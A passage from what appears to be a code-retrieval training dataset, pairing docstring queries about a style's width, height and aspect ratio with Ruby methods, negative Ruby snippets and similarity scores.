"0.78483546",
"0.7847019",
"0.7847019",
"0.7847019",
"0.7847019",
"0.7847019"
] | 0.0 | -1 |
Return the width of the named style. +style_name+ defaults to the attribute's default_style. | def width(style_name=nil)
style_name ||= reflection.default_style
if style_name.equal?(:original)
from_examination :@original_width
else
dimensions(style_name).at(0)
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def width(style_name='original')\n geometry(style_name).width.to_i\n end",
"def width=(value)\n @style.width = value\n end",
"def width\n if present?(options[:width])\n options[:width]\n\n elsif present?(options[:name])\n geometry.bordered_width\n\n else\n value.size\n\n end\n end",
"def width\n if present?(options[:width])\n options[:width]\n\n elsif present?(options[:name])\n if left_aligned?\n value.size\n\n else\n geometry.bordered_width\n\n end\n\n else\n value.size\n\n end\n end",
"def dimensions(style_name=nil)\n style_name ||= reflection.default_style\n if style_name.equal?(:original)\n original_width = from_examination(:@original_width)\n original_height = from_examination(:@original_height)\n [original_width, original_height]\n else\n resize_dimensions(dimensions(:original), reflection.styles[style_name])\n end\n end",
"def style\n defined?(@style) ? @style : 0\n end",
"def width\r\n assert_exists\r\n return @o.invoke(\"width\").to_s\r\n end",
"def size\n\t\treturn @styles.size\n\tend",
"def style\n @style ||= Style.new(attributes[:style])\n end",
"def style(attachment, style_name)\n style_name || attachment.default_style\n end",
"def width\n return options[:width] if present?(options[:width])\n return geometry.width if registered?\n\n raise Vedeu::Error::MissingRequired,\n 'The text provided cannot be wrapped or pruned because a ' \\\n ':width option was not given, or a :name option was either not ' \\\n 'given or there is no geometry registered with that name.'\n end",
"def width\n metadata[:width] if valid?\n end",
"def font_size\n return nil unless @styles\n\n size_tag = @styles.xpath('//w:docDefaults//w:rPrDefault//w:rPr//w:sz').first\n size_tag ? size_tag.attributes['val'].value.to_i / 2 : nil\n end",
"def getStyleName\n styleNameHelper(MODE_GET)\n end",
"def style\n return @style\n end",
"def width(value)\n attributes[:width] = value\n end",
"def width\n attr('width')\n end",
"def width\n get_geometry if @width.nil?\n return @width\n end",
"def get_width\n width = self.unpadded_width\n\n if not width.nil? and width != 0\n return { :width => \"#{width}px\" }\n else\n return {}\n end\n end",
"def width\r\n has_width? ? parms[0].to_i : 0\r\n end",
"def dimensions_for(style)\n reprocess_for(style)\n file_dimensions[style.to_s]\n end",
"def width\n @font.text_width(self.text)\n end",
"def width\n size_a[0]\n end",
"def height(style_name='original')\n geometry(style_name).height.to_i\n end",
"def width\n `#{clientRect}.width`\n end",
"def font_size\r\n @style.font_size || @default_font_size\r\n end",
"def get_width(dta)\n get_dimension('width', dta)\n end",
"def dimensions(style = default_style)\n m = meta_for_style(style)\n w = m[:width]\n h = m[:height]\n \"#{w}#{h && \"x#{h}\"}\" if w || h\n end",
"def width(value)\n fail InvalidWidth if x_out_of_bounds?(value)\n\n attributes[:geometry][:width] = value\n end",
"def GetStringWidth(s)\n\t\t#Get width of a string in the current font\n\t\ts = s.to_s;\n\t\tcw = @current_font['cw']\n\t\tw = 0;\n\t\tif (@is_unicode)\n unicode = UTF8StringToArray(s);\n unicode.each do |char|\n\t\t\t\tif (!cw[char].nil?)\n\t\t\t\t\tw += cw[char];\n\t\t\t\t# This should not happen. UTF8StringToArray should guarentee the array is ascii values.\n # elsif (c!cw[char[0]].nil?)\n # w += cw[char[0]];\n # elsif (!cw[char.chr].nil?)\n # w += cw[char.chr];\n\t\t\t\telsif (!@current_font['desc']['MissingWidth'].nil?)\n\t\t\t\t\tw += @current_font['desc']['MissingWidth']; # set default size\n\t\t\t\telse\n\t\t\t\t\tw += 500;\n\t\t\t\tend\n\t\t\tend\n\t\telse\n\t\t s.each_byte do |c|\n\t\t\t\tif cw[c.chr]\n\t\t\t\t\tw += cw[c.chr];\n\t\t\t\telsif cw[?c.chr]\n\t\t\t\t\tw += cw[?c.chr]\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\t\treturn (w * @font_size / 1000.0);\n\tend",
"def style_names\n styles.keys\n end",
"def style\n \"#{width}px;height:#{height}px;#{@style}\"\n end",
"def width\n @font.text_width(self.text)\n end",
"def calc_width(text, options = {})\n return 0 if text.blank?\n font_family = options.fetch(:font, self.class::DEFAULT_FONT_FAMILY)\n font_style = options.fetch(:style, self.class::DEFAULT_FONT_STYLE)\n font_size = options.fetch(:size, self.class::DEFAULT_FONT_SIZE)\n self.font(font_family, style: font_style)\n return self.width_of(text.to_s, size: font_size) / 72.0\n end",
"def retrieve(name)\n self.all.detect{|style| style.name == name}\n end",
"def width\n #@font.text_width(self.text)\n return 200\n end",
"def width\n if alignment == :vertical\n @width ||= @options.first.width\n else\n @width ||= @options.count * @options.first.width\n end\n end",
"def height(style_name=nil)\n style_name ||= reflection.default_style\n if style_name.equal?(:original)\n from_examination :@original_height\n else\n dimensions(style_name).at(1)\n end\n end",
"def width\n if clear_border?\n geometry.width\n\n else\n border.width\n\n end\n end",
"def width\n @width ||= [title, formatted_values].flatten.map(&:length).max\n end",
"def string_width(string, font_size)\n font_scale = font_size / row.worksheet.workbook.font_scale_divisor\n (string.to_s.size + 3) * font_scale\n end",
"def style_params\n params[:style]\n end",
"def font_size\n size_tag = @styles.xpath('//w:docDefaults//w:rPrDefault//w:rPr//w:sz').first\n size_tag ? size_tag.attributes['val'].value.to_i / 2 : nil\n end",
"def style\n @style\n end",
"def getStyleString\n\t\tstyle=\"\"\n\t\t([email protected]).each do |i|\n\t\t\tstyle=style+@StylePrefix+(i).to_s+\" lt \"+@StyleLtarr[i-1]+\" lw \"+@oc[\"LineWidth\"]\n\t\t\tstyle=style+\" pt \"+@StylePtarr[i-1]+\" ps 0.5;\\n\"\n\t\tend\n\t\tstyle=style+\"set style line 20 lt 7 lw 1 pt 4 ps 0.5;\\n\"\n\t\treturn style\n\tend",
"def style(value)\n attributes[:style] = value\n end",
"def style=(value)\n @style = value\n end",
"def image_width\n @image_width ||=\n if image_node.has_attribute?('width')\n image_node.attribute('width').value.to_i\n elsif image_node.has_attribute?('style')\n regex = /width:\\s?(?<px>\\d+|(\\d+?\\.\\d+))px/\n match = image_node.attribute('style').value.match(regex)\n match['px'].to_i if match && match['px']\n end\n end",
"def text_width(align=0)\n return self.bitmap.text_size(self.text(align)).width\n end",
"def width\n dimensions.first\n end",
"def apply_stylename(stylename)\n if stylesheet && stylesheet.is_a?(Teacup::Stylesheet)\n style(stylesheet.query(stylename, self))\n end\n end",
"def width\n return @width\n end",
"def width\n @width || (@document.width_of(@text, :size => @font_size)) + 2*@horizontal_padding\n end",
"def width=(value)\n @width = value\n end",
"def width(path)\n io_for(path).width\n end",
"def width(string, font_size)\n string_base_width = string.bytes.inject(0){|result, byte|\n byte_width = WIDTHS[byte] || 1000\n result + byte_width\n }\n string_base_width * font_size / 1000\n end",
"def get_style(attribute)\n `var el=this.__native__,attr=attribute.__value__.replace(/[_-]\\\\D/g, function(match){return match.charAt(1).toUpperCase();}),result=el.style[attr]`\n `result===undefined?nil:$q(result)`\n end",
"def width(str)\n str.length\n end",
"def width(str)\n str.length\n end",
"def getWidth\n @width\n end",
"def font_size\n styles['font-size'] ? styles['font-size'].to_f : DEFAULT_FONT_SIZE\n end",
"def image_size(style = default_style)\n return nil if instance_read(:meta).nil? || instance_read(:meta).empty?\n \"#{width(style)}x#{height(style)}\"\n end",
"def font_size()\n validate_worksheet\n return @workbook.fonts[font_id()][:font][:sz][:attributes][:val]\n end",
"def text_width(font_handle, text)\n end",
"def get_width; end",
"def getWidth\n @width\n end",
"def getWidth\n @width\n end",
"def width\n string = to_s\n max_width = 0\n string.each_line do |line|\n max_width = [max_width, line.uncolored.chomp.size].max\n end\n max_width\n end",
"def width\n ensure_complete!\n sum_width = cell_widths.reduce(&:+)\n [param(:width, 0), sum_width].max\n end",
"def width\n instance.options[:width]\n end",
"def styles\n @styles ||= DEFAULT_STYLES\n end",
"def report_styles(size = 12)\n @org_name_style ||= style.add_style b: true,\n sz: size,\n alignment: { horizontal: :left, wrap_text: true }\n end",
"def width\r\n @gosu_font.text_width(@text, @factor_x)\r\n end",
"def getWidth\n\t\t@width\n\tend",
"def as_css_size\n size = self\n size += 'px' unless size.blank? || size.end_with?('px', '%', 'em') || size == 'auto' || size == 'inherit'\n return size\n end",
"def width=(value)\n\t\t\t@width = value\n\t\tend",
"def width=(value)\n\t\t\t@width = value\n\t\tend",
"def getWidth\n @width\n end",
"def getStyledNamespaceName(nsName)\r\n return CodeNameStyling.getStyled(nsName, @langProfile.classNameStyle)\r\n end",
"def width(value)\n @ole.Width = value\n nil\n end",
"def width(value)\n @ole.Width = value\n nil\n end",
"def width\n @ole.Width\n end",
"def width\n @ole.Width\n end",
"def width\n return unless @anchor.is_a?(OneCellAnchor)\n\n @anchor.width\n end",
"def getWidth\n @width\n end",
"def width(new_width, options = {})\n fill_window(false, options)\n width_str = \"width: #{new_width};\"\n\n add_style(width_str, options[:screen])\n end",
"def string_width(string, font_size)\n font_scale = font_size / 10.0\n string.size * font_scale\n end",
"def display_width(string)\n Unicode::DisplayWidth.of(Strings::ANSI.sanitize(string))\n end",
"def display_width(string)\n Unicode::DisplayWidth.of(Strings::ANSI.sanitize(string))\n end",
"def stylename=(new_stylename)\n @stylename = new_stylename\n restyle!\n end",
"def get_width()\n Shape.api_not_implemented(self)\n end",
"def width\n @width\n end",
"def stylename=(new_stylename)\n @stylename = new_stylename\n if respond_to?(:'setStyleId:')\n setStyleId(new_stylename)\n end\n if respond_to?(:'setNuiClass:')\n setNuiClass(new_stylename)\n end\n restyle!\n end",
"def stringstrokewidth=(stringStrokeWidth)\n @elementHash[:stringstrokewidth] = stringStrokeWidth.to_f\n end",
"def width\n image_ptr[:sx]\n end",
"def width\n raise NotImplementedError\n end",
"def width(input)\n process(:width, input)\n end",
"def getStyle(name, placeHash)\n values = placeHash[name]\n style = \"00\"\n if values == nil\n style = \"00\"\n elsif values[1] != nil\n style = values[1]\n else\n style = checkAncestors(name, placeHash)\n style = checkDescendants(name, placeHash) if style == \"00\"\n end\n placeHash[name][1] = style\n return style\n end",
"def width\n\t\tnode['width']\n\tend",
"def get_width\n # FIXME: I don't know how portable it is.\n default_width = 80\n begin\n tiocgwinsz = 0x5413\n data = [0, 0, 0, 0].pack(\"SSSS\")\n if @out.ioctl(tiocgwinsz, data) >= 0 then\n #rows, cols, xpixels, ypixels = data.unpack(\"SSSS\")\n cols = data.unpack(\"SSSS\")[1]\n if cols >= 0 then cols else default_width end\n else\n default_width\n end\n rescue Exception\n default_width\n end\n end"
] | [
"0.81040615",
"0.6777788",
"0.6354896",
"0.63064265",
"0.6129217",
"0.60608274",
"0.6014019",
"0.5883229",
"0.5732189",
"0.57186073",
"0.56601983",
"0.5639279",
"0.5637219",
"0.56321603",
"0.55771065",
"0.55676115",
"0.5557213",
"0.5552883",
"0.5549331",
"0.55278665",
"0.5527266",
"0.5520857",
"0.5509983",
"0.55074716",
"0.5504335",
"0.5503273",
"0.5484978",
"0.54561365",
"0.5451603",
"0.54330665",
"0.5404867",
"0.5389853",
"0.5375735",
"0.5356032",
"0.53412694",
"0.53332245",
"0.53290653",
"0.5320312",
"0.5320303",
"0.5309992",
"0.5305277",
"0.5298585",
"0.5298014",
"0.5296093",
"0.5286032",
"0.5276557",
"0.5265161",
"0.52580744",
"0.524689",
"0.5241898",
"0.5239495",
"0.52307534",
"0.52235025",
"0.52128255",
"0.5211267",
"0.520676",
"0.5203307",
"0.5193177",
"0.5193177",
"0.5189048",
"0.5187144",
"0.5175518",
"0.5174969",
"0.5169859",
"0.5151962",
"0.5147145",
"0.5147145",
"0.51282126",
"0.5123925",
"0.5122883",
"0.5121453",
"0.5117453",
"0.5113568",
"0.5113102",
"0.51123315",
"0.51035994",
"0.51035994",
"0.50704044",
"0.50682163",
"0.5062254",
"0.5062254",
"0.5062251",
"0.5062251",
"0.5048604",
"0.5040169",
"0.50280946",
"0.5025789",
"0.5014572",
"0.5014572",
"0.5014165",
"0.50123864",
"0.50095904",
"0.50080436",
"0.50049835",
"0.50037813",
"0.49887684",
"0.49836513",
"0.49820912",
"0.4973804",
"0.4968242"
] | 0.8343923 | 0 |
Return the height of the named style. +style_name+ defaults to the attribute's default_style. | def height(style_name=nil)
style_name ||= reflection.default_style
if style_name.equal?(:original)
from_examination :@original_height
else
dimensions(style_name).at(1)
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def height(style_name='original')\n geometry(style_name).height.to_i\n end",
"def height=(value)\n @style.height = value\n end",
"def css_style_height(height = '')\n height = height.to_s.as_css_size\n height.blank? ? '' : \"height:#{height};\"\n end",
"def height(name)\n Tk.execute(:image, :height, name)\n end",
"def font_height(size = nil)\n size = @font_size if size.nil? or size <= 0\n\n select_font(\"Helvetica\") if @fonts.empty?\n hh = @fonts[@current_font].fontbbox[3].to_f - @fonts[@current_font].fontbbox[1].to_f\n (size * hh / 1000.0)\n end",
"def height\n @font.height\n end",
"def dimensions(style_name=nil)\n style_name ||= reflection.default_style\n if style_name.equal?(:original)\n original_width = from_examination(:@original_width)\n original_height = from_examination(:@original_height)\n [original_width, original_height]\n else\n resize_dimensions(dimensions(:original), reflection.styles[style_name])\n end\n end",
"def height\n if alignment == :vertical\n @height ||= @options.count * @options.first.height\n else\n @height ||= @options.first.height\n end\n end",
"def height\n attr('height')\n end",
"def height\n size_a[1]\n end",
"def height\n `#{clientRect}.height`\n end",
"def height\n metadata[:height] if valid?\n end",
"def retrieve_height(param)\n unless (height = param[:height])\n height = self::DEFAULT_HEIGHT if param[:list_direction] == :vertical\n height ||= param[:list_height]\n height ||= self::DEFAULT_HEIGHT\n end\n return height\n end",
"def height\n attributes.map { |field| field.height }.max\n end",
"def height\n get_geometry if @height.nil?\n return @height\n end",
"def height(value)\n fail InvalidHeight if y_out_of_bounds?(value)\n\n attributes[:geometry][:height] = value\n end",
"def height\n line_count = layout.line_count\n h = (line_count - 1) * layout.spacing\n line_count.times do |i|\n h += layout.get_line_bounds(i).height\n end\n h\n end",
"def height(lines=1)\n return @font.height * lines + 4 # Where's this magic '4' come from?\n end",
"def height\n if clear_border?\n geometry.height\n\n else\n border.height\n\n end\n end",
"def font_size\r\n @style.font_size || @default_font_size\r\n end",
"def height\n size.first\n end",
"def height\n size.first\n end",
"def get_height(dta)\n get_dimension('height', dta)\n end",
"def height\r\n assert_exists\r\n return @o.invoke(\"height\").to_s\r\n end",
"def formatted_height\n '000'\n end",
"def height\n case target\n when :editable then height_for_editable_target\n when :cc, :kiddom, :qti, :schoology then image_height\n end\n end",
"def height\n instance.options[:height]\n end",
"def height\n @height || 100\n end",
"def image_size(style = default_style)\n return nil if instance_read(:meta).nil? || instance_read(:meta).empty?\n \"#{width(style)}x#{height(style)}\"\n end",
"def font_size\n return nil unless @styles\n\n size_tag = @styles.xpath('//w:docDefaults//w:rPrDefault//w:rPr//w:sz').first\n size_tag ? size_tag.attributes['val'].value.to_i / 2 : nil\n end",
"def style\n defined?(@style) ? @style : 0\n end",
"def size\n\t\treturn @styles.size\n\tend",
"def glyph_height(code_point)\n return 0 if code_point.nil? || code_point < 0\n\n h = @heights[code_point]\n # 0 is a valid height\n return h.to_f unless h.nil?\n end",
"def height(as: :units)\n max_height = rows.length\n max_height *= unit_height if as == :mm\n max_height\n end",
"def width(style_name=nil)\n style_name ||= reflection.default_style\n if style_name.equal?(:original)\n from_examination :@original_width\n else\n dimensions(style_name).at(0)\n end\n end",
"def line_height\n TDD::ABF::SETTINGS::OVERRIDE_LINE_HEIGHT[name] || @info[:lineHeight]\n end",
"def height\n options[:height] || Config.height\n end",
"def height\n image_ptr[:sy]\n end",
"def contents_height\n h = height - standard_padding * 2\n h + (@item_max * line_height)\n end",
"def font_size\n styles['font-size'] ? styles['font-size'].to_f : DEFAULT_FONT_SIZE\n end",
"def size_with_meta_data(style = nil)\n style ? meta_for_style(style)[:size] : size_without_meta_data\n end",
"def getOffsetHeight\n DOM.getPropertyInt(@element, \"offsetHeight\")\n end",
"def css_height(height)\n @height = height\n end",
"def size_with_meta_data(style = nil)\n style ? read_meta(style, :size) : size_without_meta_data\n end",
"def font_size\n return sz if sz\n\n font = styles.fonts[styles.cellXfs[style].fontId] || styles.fonts[0]\n font.b || (defined?(@b) && @b) ? (font.sz * 1.5) : font.sz\n end",
"def preview_max_height\n geometry = image_style_geometry\n geometry.present? ? geometry.height.to_i : 100\n end",
"def height\n return @height\n end",
"def line_height(font_id)\n @line_heights[font_id] || 16\n end",
"def get_height\n return get_keyword_value(\"FLOOR-HEIGHT\").to_f\n end",
"def dimensions(style = default_style)\n m = meta_for_style(style)\n w = m[:width]\n h = m[:height]\n \"#{w}#{h && \"x#{h}\"}\" if w || h\n end",
"def font_size\n size_tag = @styles.xpath('//w:docDefaults//w:rPrDefault//w:rPr//w:sz').first\n size_tag ? size_tag.attributes['val'].value.to_i / 2 : nil\n end",
"def height(value)\n @ole.Height = value\n nil\n end",
"def height(value)\n @ole.Height = value\n nil\n end",
"def style\n @style ||= Style.new(attributes[:style])\n end",
"def height\n dimensions.last\n end",
"def height \n @height || text_area_height + 2*@vertical_padding\n end",
"def height=(value)\n @height = value\n end",
"def dimensions_for(style)\n reprocess_for(style)\n file_dimensions[style.to_s]\n end",
"def box_height\n return line_height + 104 + line_height * (@params.size + 1)\n end",
"def retrieve(name)\n self.all.detect{|style| style.name == name}\n end",
"def font_size()\n validate_worksheet\n return @workbook.fonts[font_id()][:font][:sz][:attributes][:val]\n end",
"def height=(value)\n\t\t\t@height = value\n\t\tend",
"def height=(value)\n\t\t\t@height = value\n\t\tend",
"def height\n\t\treturn @height\n\tend",
"def calculate_caps_height(font_size)\n @d.pointsize = font_size\n @d.get_type_metrics(@base_image, 'X').height\n end",
"def width(style_name='original')\n geometry(style_name).width.to_i\n end",
"def height\n assert_exists\n driver.execute_script \"return arguments[0].height\", @element\n end",
"def height(path)\n io_for(path).height\n end",
"def height\n memoized_info[:height]\n end",
"def font_size\n return sz if sz\n\n font = styles.fonts[styles.cellXfs[style].fontId] || styles.fonts[0]\n font.b || (defined?(@b) && @b) ? (font.sz * row.worksheet.workbook.bold_font_multiplier) : font.sz\n end",
"def height\n bounds[:bottom] - bounds[:top]\n end",
"def height\n bounds[:bottom] - bounds[:top]\n end",
"def image_height\n\t\t\t@data[\"image\"][\"height\"]\n\t\tend",
"def height; end",
"def height; end",
"def item_height(*args, &block)\n total_height = height - (standard_padding * 2)\n if total_height > 96\n total_height / (total_height / 96)\n else\n super(*args, &block)\n end\n end",
"def height\n\t\tnode['height']\n\tend",
"def height\n lines.size\n end",
"def height\n lines.size\n end",
"def height\r\n @content[pn(:MediaBox)][3]\r\n end",
"def height\n dimensions()[:y]\n end",
"def iframe_height(page_size, height = nil)\n return height.to_i if height.present? && height.to_i > 0\n\n case @publisher.theme\n when \"standard\", \"sdcitybeat\", \"withtheme\"\n 292 + (page_size / 2).round * 304\n when \"simple\", \"sdreader\", \"narrow\"\n 142 + (page_size / 2).round * 304\n when \"enhanced\"\n 146 + page_size * 336\n else\n raise \"Unknown layout '#{@publisher.theme}'\"\n end\n end",
"def item_size(item_type, item_param)\n return item_type.retrieve_height(item_param)\n end",
"def height\n @anchor.height\n end",
"def dimensions(style = :original)\n @dimensions ||= {}\n return {} unless is_bitmap? && File.exist?(attachment.path(style))\n @dimensions[style] ||= [:width, :height].zip(FastImage.size(attachment.path(style))).to_h\n end",
"def height_calc\n lines = [@data.length, page_row_max].min rescue page_row_max\n return lines * line_height + standard_padding * 2\n end",
"def height_calc\n lines = [@data.length, page_row_max].min rescue page_row_max\n return lines * line_height + standard_padding * 2\n end",
"def height(accessoryHeight)\n return if accessoryHeight.nil?\n @dimensions[:height] = [accessoryHeight.to_f, MIN_HEIGHT, MAX_HEIGHT].sort[1]\n end",
"def height(_hash)\n raise Sibit::NotSupportedError, 'Earn API doesn\\'t provide height()'\n end",
"def style\n return @style\n end",
"def height\n @ole.Height\n end",
"def height\n @ole.Height\n end",
"def style\n \"#{width}px;height:#{height}px;#{@style}\"\n end",
"def height\n defined?(@ht) ? @ht : nil\n end",
"def height\n top + bottom\n end",
"def height(_data_length, _item_size, viewport)\n return viewport.rect.height\n end",
"def image_height(image_handle)\n end",
"def height\n return data.height\n end",
"def setHeight(height)\n # This exists to deal with an inconsistency in IE's implementation where\n # it won't accept negative numbers in length measurements\n # FIXME: assert extractLengthValue(height.trim().toLowerCase()) >= 0 : \"CSS heights should not be negative\";\n\n DOM.setStyleAttribute(@element, \"height\", height)\n end",
"def height(text='', units=nil) # may not include external leading?\n cur_page.height(text, units)\n end"
] | [
"0.8258957",
"0.6859417",
"0.6647148",
"0.6227877",
"0.5940879",
"0.57866794",
"0.5767589",
"0.5680373",
"0.5674596",
"0.5670273",
"0.5635982",
"0.5614297",
"0.5612909",
"0.55806106",
"0.5521675",
"0.5512786",
"0.5479372",
"0.5478817",
"0.5478198",
"0.5468598",
"0.54672617",
"0.54672617",
"0.5460796",
"0.5441306",
"0.54107773",
"0.5404523",
"0.53807324",
"0.5380427",
"0.53659534",
"0.5355825",
"0.53407884",
"0.5332822",
"0.53178316",
"0.5314246",
"0.53091776",
"0.5306924",
"0.5305138",
"0.52836794",
"0.5253092",
"0.5232369",
"0.5226315",
"0.5206487",
"0.5203597",
"0.5189071",
"0.5181187",
"0.5169493",
"0.5166468",
"0.5152947",
"0.5145166",
"0.51390517",
"0.5120324",
"0.51137567",
"0.51137567",
"0.51071835",
"0.5105471",
"0.5098693",
"0.5083953",
"0.50708586",
"0.5067278",
"0.5065445",
"0.5056604",
"0.50290996",
"0.50290996",
"0.50271016",
"0.5026066",
"0.5021752",
"0.5020664",
"0.5012063",
"0.5011065",
"0.5002601",
"0.4978718",
"0.4978718",
"0.4971596",
"0.49673355",
"0.49673355",
"0.49655694",
"0.4962618",
"0.49553093",
"0.49553093",
"0.49481314",
"0.49400577",
"0.49301237",
"0.49276036",
"0.49254584",
"0.49230096",
"0.49203536",
"0.49203536",
"0.4912824",
"0.49120128",
"0.49060145",
"0.49014765",
"0.49014765",
"0.48985764",
"0.489568",
"0.48918733",
"0.4891553",
"0.48822773",
"0.4879318",
"0.48723283",
"0.4872261"
] | 0.84590805 | 0 |
Return the aspect ratio of the named style. +style_name+ defaults to the attribute's default_style. | def aspect_ratio(style_name=nil)
style_name ||= reflection.default_style
if style_name.equal?(:original)
original_width = from_examination(:@original_width)
original_height = from_examination(:@original_height)
original_width.to_f / original_height
else
w, h = *dimensions(style_name)
w.to_f / h
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def width(style_name=nil)\n style_name ||= reflection.default_style\n if style_name.equal?(:original)\n from_examination :@original_width\n else\n dimensions(style_name).at(0)\n end\n end",
"def height(style_name=nil)\n style_name ||= reflection.default_style\n if style_name.equal?(:original)\n from_examination :@original_height\n else\n dimensions(style_name).at(1)\n end\n end",
"def dimensions(style_name=nil)\n style_name ||= reflection.default_style\n if style_name.equal?(:original)\n original_width = from_examination(:@original_width)\n original_height = from_examination(:@original_height)\n [original_width, original_height]\n else\n resize_dimensions(dimensions(:original), reflection.styles[style_name])\n end\n end",
"def width(style_name='original')\n geometry(style_name).width.to_i\n end",
"def aspect_ratio(size)\n size[:width].to_f / size[:height]\n end",
"def aspect_ratio\n return 'none' unless fixed_ratio?\n dims = fullsize_settings[:dimensions]\n dims[0].to_f / dims[1]\n end",
"def aspect_ratio\n if self.width && self.height\n return self.width/self.height.to_f\n else\n return 1.324 # Derived from the default values, above\n end\n end",
"def height(style_name='original')\n geometry(style_name).height.to_i\n end",
"def convert(m)\n return auto(m) if @style[m] == :auto\n return @style[m] unless @style[m].percent?\n parent = self.parent || Viewport.new\n return (@style[m] * parent.inner.width / 100.0).round if [:x, :width].include?(m)\n return (@style[m] * parent.inner.height / 100.0).round\n end",
"def aspect_ratio\n height.to_f / width.to_f\n end",
"def aspect\n width / height\n end",
"def image_size(style = default_style)\n return nil if instance_read(:meta).nil? || instance_read(:meta).empty?\n \"#{width(style)}x#{height(style)}\"\n end",
"def aspectratio\n if not @ratio then\n # Only calc the ratio the first time. Memoization!\n @ratio = Rational(@width, @height) # Ruby reduces fractions for us! How handy.\n end\n\n if @ratio == Rational(16, 10) # 16x10 is a special case, since we don't want it reduced down to 8x5\n return \"16x10\"\n else\n return \"#{@ratio.numerator}x#{@ratio.denominator}\" # Return the aspect ratio in WxH format\n end\n end",
"def dimensions_for(style)\n reprocess_for(style)\n file_dimensions[style.to_s]\n end",
"def aspect\n width.to_f / height\n end",
"def aspect_ratio\n if self.native_width && self.native_height\n return self.native_width/self.native_height.to_f\n else\n return 1.324 # Derived from the default values, above\n end\n end",
"def aspect_ratio(avail_width=nil, avail_height=nil)\n case self.aspect_ratio_method\n when ASPECT_RATIO_DEFAULT_METHOD\n return ASPECT_RATIO_DEFAULT_WIDTH / ASPECT_RATIO_DEFAULT_HEIGHT.to_f\n when ASPECT_RATIO_MANUAL_METHOD\n return self.native_width/self.native_height.to_f\n when ASPECT_RATIO_MAX_METHOD\n width = avail_width || ASPECT_RATIO_DEFAULT_WIDTH\n height = avail_height || ASPECT_RATIO_DEFAULT_HEIGHT\n return width / height.to_f\n end\n end",
"def resize_dimensions(original_dimensions, style)\n if style.filled?\n style.dimensions\n else\n original_aspect_ratio = original_dimensions[0].to_f / original_dimensions[1]\n target_aspect_ratio = style.dimensions[0].to_f / style.dimensions[1]\n if original_aspect_ratio > target_aspect_ratio\n width = style.dimensions[0]\n height = (width / original_aspect_ratio).round\n else\n height = style.dimensions[1]\n width = (height * original_aspect_ratio).round\n end\n [width, height]\n end\n end",
"def geometry(style_name='original')\n if style_name == 'original'\n Paperclip::Geometry.parse(\"#{original_width}x#{original_height}\")\n else\n Paperclip::Geometry.parse(style_dimensions(style_name))\n end\n end",
"def aspect\n width.to_f / height.to_f if !(width.blank? && height.blank?)\n end",
"def style(attachment, style_name)\n style_name || attachment.default_style\n end",
"def style_average(style_id)\n\n # find out the which of the user's rated beers belong to a style\n style_specific_beers = beers.select(\"beers.id\").where(\"style_id = ?\", style_id).distinct\n\n # gather the ids of those beers in order to find the ratings\n style_specific_beer_ids = []\n\n style_specific_beers.each do |style_beer|\n style_specific_beer_ids << style_beer.id\n end\n\n # calc avg for the beers of the style\n style_average = ratings.where(beer_id: style_specific_beer_ids).average(:score)\n end",
"def dimensions(style = :original)\n @dimensions ||= {}\n return {} unless is_bitmap? && File.exist?(attachment.path(style))\n @dimensions[style] ||= [:width, :height].zip(FastImage.size(attachment.path(style))).to_h\n end",
"def resize_ratio_for asset\n base_geo = asset.geometry(:base_to_crop)\n original_geo = asset.geometry\n # Returning the biggest size as the ratio will be more exact.\n field = base_geo.width > base_geo.height ? :width : :height\n #Ratio to original / base\n original_geo.send(field).to_f / base_geo.send(field).to_f\n end",
"def font_size\n return nil unless @styles\n\n size_tag = @styles.xpath('//w:docDefaults//w:rPrDefault//w:rPr//w:sz').first\n size_tag ? size_tag.attributes['val'].value.to_i / 2 : nil\n end",
"def width=(value)\n @style.width = value\n end",
"def style\n @style ||= Style.new(attributes[:style])\n end",
"def width\n if present?(options[:width])\n options[:width]\n\n elsif present?(options[:name])\n geometry.bordered_width\n\n else\n value.size\n\n end\n end",
"def as_css_size\n size = self\n size += 'px' unless size.blank? || size.end_with?('px', '%', 'em') || size == 'auto' || size == 'inherit'\n return size\n end",
"def geometry(style_name='original')\n # These calculations are all memoised.\n @geometry ||= {}\n begin\n @geometry[style_name] ||= if style_name.to_s == 'original'\n # If no style name is given, or it is 'original', we return the original discovered dimensions.\n original_geometry\n else\n # Otherwise, we apply a mock transformation to see what dimensions would result.\n style = self.file.styles[style_name.to_sym]\n original_geometry.transformed_by(style.geometry)\n end\n rescue Paperclip::TransformationError => e\n # In case of explosion, we always return the original dimensions so that action can continue.\n original_geometry\n end\n end",
"def style\n \"#{width}px;height:#{height}px;#{@style}\"\n end",
"def style\n defined?(@style) ? @style : 0\n end",
"def style_params\n params[:style]\n end",
"def size_ratio(geom)\n geom_size = SizableLocation.new(geom).size\n if geom_size.positive?\n size.to_f / geom_size\n else\n 0.0\n end\n end",
"def pixel_aspect_ratio\n pixel_width / pixel_height\n end",
"def dimensions(style = default_style)\n m = meta_for_style(style)\n w = m[:width]\n h = m[:height]\n \"#{w}#{h && \"x#{h}\"}\" if w || h\n end",
"def ratio_from_size_or_params\n if @min_size.has_value?(0) && @options[:fixed_ratio]\n @options[:fixed_ratio].to_f\n elsif !@min_size[:width].zero? && !@min_size[:height].zero?\n @min_size[:width].to_f / @min_size[:height].to_f\n else\n false\n end\n end",
"def style(value)\n attributes[:style] = value\n end",
"def get_style(attribute)\n `var el=this.__native__,attr=attribute.__value__.replace(/[_-]\\\\D/g, function(match){return match.charAt(1).toUpperCase();}),result=el.style[attr]`\n `result===undefined?nil:$q(result)`\n end",
"def width\n if present?(options[:width])\n options[:width]\n\n elsif present?(options[:name])\n if left_aligned?\n value.size\n\n else\n geometry.bordered_width\n\n end\n\n else\n value.size\n\n end\n end",
"def font_size\n size_tag = @styles.xpath('//w:docDefaults//w:rPrDefault//w:rPr//w:sz').first\n size_tag ? size_tag.attributes['val'].value.to_i / 2 : nil\n end",
"def aspect_ratio_padding_bottom\n return false unless @aspect_ratio_container\n\n thumb = asset&.file(\"thumb_#{thumb_size}\")\n\n return nil unless thumb && thumb.width && thumb.height\n\n height_over_width = thumb.height.to_f / thumb.width.to_f\n\n \"#{(height_over_width * 100.0).truncate(1)}%\"\n end",
"def font_size\r\n @style.font_size || @default_font_size\r\n end",
"def aspect_ratio\n (@x/@y).abs\n end",
"def size\n\t\treturn @styles.size\n\tend",
